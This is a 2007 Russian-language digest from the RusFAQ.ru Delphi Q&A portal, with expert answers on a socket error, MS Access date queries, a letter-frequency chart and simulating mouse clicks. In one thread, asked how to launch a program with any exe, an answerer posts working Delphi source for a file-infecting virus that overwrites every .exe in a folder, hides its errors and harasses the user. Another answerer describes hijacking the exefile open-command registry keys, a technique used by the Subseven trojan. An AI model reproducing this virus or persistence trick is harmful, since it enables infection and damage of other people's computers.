/ КОМПЬЮТЕРЫ И ПО / Языки программирования / Delphi

Выпуск № 829
от 03.06.2007, 20:05

Вопрос № 88.999

Доброго временни суток, уважаемые эксперты. Возникает ошибка ассинхронной работы сокета в моем приложении "Asynchronous socket error 10049". Как с ней бороться? Вроде делаю все правильно. Дело в том, что работают одновременно 4 сокета (4 в клиентском приложении и 4 на серверном). Порты разумеется разные и друг другу не мешают. Первые 3 сокета работают отлично, а при подключении 4-го возникает эта ошибка, хотя обработчики событий такие же как у предыдкщих 3-х сокетов. Как быть?

Отправлен: 28.05.2007, 19:46 Вопрос задал: Ренат Байрамгулов (статус: Посетитель) Всего ответов: 1 Мини-форум вопроса >>> (сообщений: 13)

Отвечает: PGM Здравствуйте, Ренат Байрамгулов! Ошибка 10049 - Cannot find Host -- может быть вы просто забыли прописать хост/адрес в сокете? Или указали его с ошибкой?

Ответ отправил: PGM (статус: 7-ой класс) Ответ отправлен: 29.05.2007, 23:00 Оценка за ответ: 4 Комментарий оценки: дело в том, что соединение успешно проходит, а также передача сообщения. ошибка возникает позже.

Вопрос № 89.001

Уважаемые эксперты, мне нужна Ваша помощь. Работаю с базой данных MS Access с помощью SQL запросов. И здесь возникла проблема. У меня есть поле, где указывается день рождения человека. Раньше с этим полем я работал через SQL, обращаясь к нему через параметры. И все было в порядке. Но теперь мне нужно сформировать новый запрос, в котором параметры не выйдет использовать, однако почему-то возникает ошибка (то есть я не знаю как представить дату в том запросе). Если представляю как строка - ошибка, если просто запишу дату после = - также ошибка. Подскажите как правильно. И еще один вопрос. В зависимости от условия генерируется абсолютно разный SQL запрос, но в нем может попасться поле, например улицы, которое является числовым (это номера записей из другой таблицы, где перечисленные названия улиц). И вот мне нужно заменить такое поле LookUp полем. Как его создать в запросе, который не меняется, я знаю. Но как такое поле создать, когда SQL запрос изменяется? Я могу узнать, что какое-то поле в запросе является таким, как например поле Улицы, но как его заменить на LookUp поле. Буду очень благодарным за содержательный и быстрый ответ.

Отправлен: 28.05.2007, 20:26 Вопрос задал: Bohdan (статус: Посетитель) Всего ответов: 2 Мини-форум вопроса >>> (сообщений: 4)

Отвечает: Кэр Лаэда Здравствуйте, Bohdan! По поводу первого вопроса попробуйте так, для удобства привожу полный запрос со всеми скобками и кавычками которые были в Delphi, но в данном случае вам должно быть интересно место dzd.dt_vvod<'''+FormatDateTime('mm.dd.yy',DTPstart.DateTime)+''' ) ' т.е. смысл в том что при представлении даты в запросе нужно ее брать в кавычки в итоге чтобы в строку добавить кавычку нужно написать 2 кавычки а третья для закрытия строки в общем смотрите сами (все кавычки в запросе одинарные двойных нету !!!!!!) Приложение: SQL.Add( ' select isnull(naim,'''') as naim,kod_p,sum_z,sum_zad_na4mes from '+ ' (select dz.kod_p,sum_z,isnull(sum(dzd.sum_propl),0) as sum_zad_na4mes '+ ' from (( '+ ' (select id,kod_p from deb_zad) dz '+ ' left join (select kod_p,sum(sum_zad) as sum_z from deb_zad group by kod_p) dz2 on dz2.kod_p=dz.kod_p) '+ ' left join deb_zad_dvg dzd on dz.id=dzd.id_nakl and dzd.dt_vvod<'''+FormatDateTime('mm.dd.yy',DTPstart.DateTime)+''' ) '+ ' group by dz.kod_p,sum_z '+ ' ) al '+ ' left join mts_klient m on m.kod=kod_p ');

Ответ отправил: Кэр Лаэда (статус: 6-ой класс) Ответ отправлен: 29.05.2007, 10:09

Отвечает: ВладимирР. Здравствуйте, Bohdan! По первому вопросу: Если в таблице Table1 есть поле MyDate типа Date/Time, то запрос SELECT Table1.* FROM Table1 WHERE DateValue(Table1.MyDate) = DateValue("21.11.2006"); вернет выборку для заданной даты, причем какие разделители использовать - точки или слеши - всё равно. Тогда в Delphi вместо фиксированной даты нужно подставить результат работы функции FormatDateTime, например так (считаю, что в переменной MyDate (тип TDateTime) записана дата): ADOQuery1.SQL.Text := Format('SELECT Table1.* FROM Table1 WHERE DateValue(Table1.MyDate) = DateValue(''%s'');', [FormatDateTime('dd/mm/yyyy', MyDate)]);

Ответ отправил: ВладимирР. (статус: 1-ый класс) Ответ отправлен: 29.05.2007, 11:01

Вопрос № 89.079

Здравствуйте, уважаемые эксперты! Как мне написать программу в Delphi, которая стартовала бы вместе с запуском любого exe-файла

Отправлен: 29.05.2007, 12:00 Вопрос задал: Shell (статус: Посетитель) Всего ответов: 3 Мини-форум вопроса >>> (сообщений: 2)

Отвечает: Кэр Лаэда Здравствуйте, Shell! Дело в том что сама по себе программа не может стартовать, для того чтобы она стартовала нужно чтобы кто то ее запустил. Т.е. вам нужно две программы, одна может быть сервисом или резидентом которая стартует вместе с операционной системой и отслеживает запуск процессов, и как только запуск процесса происходит то ваша резидентная программа запускает вашу основную программу.

Ответ отправил: Кэр Лаэда (статус: 6-ой класс) Ответ отправлен: 29.05.2007, 12:11

Отвечает: Овчинников Николай Владиславович Здравствуйте, Shell! Можно написать по принципу вируса. Заражать EXE файлы. А проявления вируса запускаем нужную ПРОГУ! Приложение: 1. Запускаем вирус. 2. Происходит проверка, на запуск тела вируса или зараженной программы. 3. Если запущенно тело вируса, то переходим к заражению. 4. У нас запущена зараженная прога, ура! Распакуем прогу из хвоста файла, задав ей имя от балды и ждем когда юзверь закончит с ней работать. 5. Пока юзверь работает мешаем ему как можем. 6. Бедный пользователь ПК сдался, ему надоели глюки и он закрыл прогу, затираем созданный файл (тот, который мы распаковали) и продолжаем инфицировать своих соседей по каталогу. 7. Выходим из программы. Вот собственно и все, что мой вирус может, а теперь реализация. Для начала пишем скелет программы: program zverofil; uses sysutils,windows; const virsize=23040; var victims:tsearchrec; f1,f2:file; begin end; Вот с чего мы начинаем, к сожалению мне не удалось выкинуть Sysutils , иначе размер бы ужался до 13Кб. Процедура заражения выглядит вот так: procedure infect(victim:string); var a:integer; Buf: array[1..virsize] of byte; nr,nw:longint; begin try randomize; assignfile(f1,victim); a:=random(200); rename(f1,'bad'+inttostr(a)) ; filemode :=0; assignfile(f2,paramstr(0)); reset(f2,1) ; seek(f2,0); blockread(f2,buf,virsize); filemode:=2 ; closefile(f2); assignfile(f1,victim); rewrite(f1,1); blockwrite(f1,buf,virsize); assignfile(f2,'bad'+inttostr(a)); reset(f2,1); seek(f2,0); repeat BlockRead(f2, Buf,virsize, NR); BlockWrite(f1, Buf, NR, NW); until (NR = 0) or (NW <> NR); closefile(f1); closefile(f2); deletefile(pchar('bad'+inttostr(a))) except end; end; Except`ы добавлены из соображения секретности, если вирус наткнется на файл, не дающий добро на запись, он тихо и мирно выйдет из процедуры. Иначе пользователя побеспокоит сообщение “File I/O Error” , а нам это ни к чему. Далее определяем, есть ли у нас «хвост» или запущенная программа – тело вируса в чистом виде: filemode :=0; assignfile(f1,paramstr(0)); reset(f1,1); if filesize(f1)>virsize then go; closefile(f1); filemode :=2; Filemode временно переводит программу в ReadOnly, иначе она не даст нам посчитать размер файла и выдаст ошибку. Поиск и заражение жертв реализуется так: if FindFirst('*.exe', Faanyfile, victims) = 0 then repeat if not ((victims.Name)=extractfilename(paramstr(0))) then begin if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name); end; until FindNext(victims)<>0 ; Такой странный код из за того, что зараженный файл распадается на «зараженный.ехе» и «незараженный.ехе.ехе» на время запуска, чтобы не попытаться заразить только что запущенную программу, которая к тому же ушла в Read Only и нужно проводить такую проверку. Ну и код выполнения самой зараженной проги будет таким : procedure go; label 10; var Buf: array[1..virsize] of byte; rect:trect; nr,nw:longint; begin //// try filemode :=0; assignfile(f1,paramstr(0)); reset(f1,1); filemode :=2; assignfile(f2,paramstr(0)+'.exe'); rewrite(f2,1); seek(f1,virsize); seek(f2,0) ; repeat filemode :=0; BlockRead(f1, Buf,virsize, NR); filemode :=2; BlockWrite(f2, Buf, NR, NW); until (NR = 0) or (NW <> NR) ; closefile(f1); closefile(f2); winexec(pchar(paramstr(0)+ '.exe'), SW_show); 10: if not deletefile(pchar(paramstr(0)+'.exe')) then begin ; setcursorpos(random(800),Random(600)); getwindowrect(GetForeGroundWindow,rect); setwindowpos(GetForeGroundWindow, HWND_TOPMOST,rect.left+1,rect.top+1, rect.left+45,rect.left+45, SWP_NOSENDCHANGING ); setwindowtext(GetForeGroundWindow, 'Antiviruses SUXX! ©Zerofill'); sleep(400); goto 10; end; except end; //// end;

Ответ отправил: Овчинников Николай Владиславович (статус: 1-ый класс) Ответ отправлен: 29.05.2007, 12:25 Оценка за ответ: 5

Отвечает: DimonSoft Здравствуйте, Shell! Вот такой знаменитый вариант из справочника... 8. Registry Shell Spawning [HKEY_CLASSES_ROOTexefileshellopencommand] @="%1" %* [HKEY_CLASSES_ROOTcomfileshellopencommand] @="%1" %* [HKEY_CLASSES_ROOTatfileshellopencommand] @="%1" %* [HKEY_CLASSES_ROOThtafileShellOpenCommand] @="%1" %* [HKEY_CLASSES_ROOTpiffileshellopencommand] @="%1" %* [HKEY_LOCAL_MACHINESoftwareCLASSESatfileshellopencommand] @="%1" %* [HKEY_LOCAL_MACHINESoftwareCLASSEScomfileshellopencommand] @="%1" %* [HKEY_LOCAL_MACHINESoftwareCLASSESexefileshellopencommand] @="%1" %* [HKEY_LOCAL_MACHINESoftwareCLASSEShtafileShellOpenCommand] @= "%1" %* [HKEY_LOCAL_MACHINESoftwareCLASSESpiffileshellopencommand] @="%1" %* Эти ключи должны иметь значения типа <"%1" %*>, если изменить на <server.exe "%1 %*">, то server.exe будет выполняться КАЖДЫЙ РАЗ, когда выполняется exe/pif/com/bat/hta файл. Известен также как Unkown Starting Method и используется Subseven.

Ответ отправил: DimonSoft (статус: 2-ой класс) Ответ отправлен: 29.05.2007, 17:39

Вопрос № 89.081

у меня есть программа шифровка дешифровка текста как сделать чтоб можна было отсортировать буквы какие саме больше встречаются и показать ето на графику и сравнить график шифрованого и дешифрованого текста!

Отправлен: 29.05.2007, 12:16 Вопрос задал: Коваленко Дмитро Олександрович (статус: 1-ый класс) Всего ответов: 1 Мини-форум вопроса >>> (сообщений: 0)

Отвечает: Примак Руслан Николаевич Здравствуйте, Корсун Олександр Григорович! При условии, что в текстах содержаться только латинские буквы, вашу задачу можно решить следующим способом - см. Приложение. Если набор символов больше данный пример нетрудно доработать - важна идея ;) Приложение: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, TeeProcs, TeEngine, Chart, Series; type TLine = array of TPoint; TForm1 = class(TForm) TestBtn: TButton; StatChart: TChart; procedure TestBtnClick(Sender: TObject); private { Private declarations } function CharStatistic(AText: String): TFastLineSeries; public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.TestBtnClick(Sender: TObject); var ChipherTextStat, SimpleTextStat: TFastLineSeries; begin StatChart.SeriesList.Clear; ChipherTextStat := CharStatistic('aaAAbbbZZZZZZZ'); ChipherTextStat.LinePen.Color := clRed; SimpleTextStat := CharStatistic('zzzzzzzzzzzAAAAAAAAYYYYY'); SimpleTextStat.LinePen.Color := clBlue; StatChart.AddSeries(ChipherTextStat); StatChart.AddSeries(SimpleTextStat); StatChart.Repaint; end; function TForm1.CharStatistic(AText: String): TFastLineSeries; var CharStatArray: array[65..122] of Double; iChar, idxArr, TextLength: Integer; tmpLS: TFastLineSeries; begin FillChar(CharStatArray, SizeOf(CharStatArray), 0); TextLength := Length(AText); for iChar := 1 to TextLength do CharStatArray[Ord(AText[iChar])] := CharStatArray[Ord(AText[iChar])] + 1; tmpLS := TFastLineSeries.Create(self); for idxArr := Low(CharStatArray) to High(CharStatArray) do tmpLS.AddXY(idxArr, CharStatArray[idxArr], Chr(idxArr)); Result := tmpLS; end; end.

Ответ отправил: Примак Руслан Николаевич (статус: 2-ой класс) Ответ отправлен: 29.05.2007, 13:36 Оценка за ответ: 3

Вопрос № 89.152

Как отправить сообщение "WM_LBUTTONDOWN" окну находящемуся под курсором мышки и в именно ту точку

Отправлен: 29.05.2007, 19:40 Вопрос задал: SergiK (статус: Посетитель) Всего ответов: 1 Мини-форум вопроса >>> (сообщений: 1)

Отвечает: Melamed Здравствуйте, SergiK! Используй API функцию mouse_event. Вызов для эмитации события WM_LBUTTONDOWN смотри в приложении Приложение: mouse_event(MOUSEEVENTF_LEFTDOWN,pt.x,pt.y,0,0) // Где x,y - экранные координаты, в каторых находиться мыш во // время нажатия ее левой кнопки

Ответ отправил: Melamed (статус: Студент) Ответ отправлен: 29.05.2007, 21:55

© 2001-2007, Портал RusFAQ.ru, Россия, Москва. Авторское право: ООО "Мастер-Эксперт Про" Email: support@rusfaq.ru, тел.: +7 (926) 535-23-31 Хостинг: "Московский хостер" Поддержка: "Московский дизайнер" Авторские права | Реклама на портале Версия системы: 4.52 от 02.05.2007
RusFAQ.ru | MosHoster.ru | MosDesigner.ru | RusIRC.ru Kalashnikoff.ru | RadioLeader.ru | RusFUCK.ru